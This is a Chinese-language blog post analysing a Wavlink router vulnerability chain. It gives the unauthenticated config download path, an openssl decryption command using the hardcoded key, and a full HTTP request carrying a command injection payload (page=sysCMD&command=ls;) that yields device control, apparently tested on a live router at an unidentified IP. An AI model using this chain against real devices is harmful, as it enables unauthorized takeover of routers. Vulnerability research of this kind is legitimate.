本文仅用于技术研究学习,请遵守相关法律,禁止使用本文所提及的相关技术开展非法攻击行为,由于传播、利用本文所提供的信息而造成任何不良后果及损失,与本账号及作者无关。
本文来源无问社区,更多实战内容,渗透思路尽在无问社区http://www.wwlib.cn/index.php/artread/artid/13803.html
前言
有网安同好想了解一些关于物联网安全,那我们社区就整理一下身边的设备,就有了这篇文章。
Wavlink 路由器是一款国产的网络通讯设备,2020 年公布了其内部存在的信息泄露漏洞,只要访问对应路由,即可下载相关的配置文件,然后利用统一秘钥进行解密即可获得用户名与密码。在最新的研究中,发现其存在的需要授权的命令注入漏洞,结合前期的信息泄露漏洞,可以实现对设备的未授权攻击。
一、 信息泄露漏洞
信息泄露漏洞处于 cgi-bin/ExportAllSettings.sh 文件中,当在浏览器中直接访问该文件,即可将 backupsettings.dat 文件下载,造成信息泄露。
以 WN535K1 固件为例,打开 cgi-bin/ExportAllSettings.sh,发现其内容如下:
只要访问该文件,就可以下载其配置文件,然后我们可以利用脚本中的指令,解出其中的用户名和密码,其中加密方式使用 aes-256,但是解密的 key 为明文 803f5d,因此我们可以直接利用 openssl 对其进行解密,命令如下:
cat backupsettings.dat | openssl enc -aes-256-cbc -k 803f5d -d
在这里我们进行一下实际测试,访问某个 IP 对应的路由,发现可以直接下载其后端的配置文件:
然后利用上面指令进行解密,这里要尝试一下,有的能用 ubuntu16 自带的 openssl 低版本(1.0.2)解密成功,有的能用 ubuntu18 自带的 openssl 高版本(1.1.1)解密成功,可能是因为新老版本的 openssl 对 AES 加密的轮次不同。这里解密如下:
二、 命令注入漏洞
在 adm.cgi 文件 set_sys_cmd 函数中,存在命令注入后门。在身份验证过后,函数识别到指定参数时,即可执行上传的命令。
首先我们分析 adm.cgi 文件,逆向如下:
函数读取前端的 page 参数,并进行对应处理,当识别到参数为 sysCMD 时,即调用 set_sys_cmd 函数。该函数接收 command 参数,并直接执行,注意执行命令时要加分号
还是对之前信息泄露的 IP 进行命令注入测试:
Host: IP
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://IP
Connection: close
Referer: http://IP/set_time.shtml?r=52300
Upgrade-Insecure-Requests: 1
page=sysCMD&command=ls;
借此,通过信息泄露漏洞,可以进行登录,然后通过命令注入漏洞,获取设备控制权限。
最后
大家还有什么想了解的网安知识,欢迎大家私信评论交流。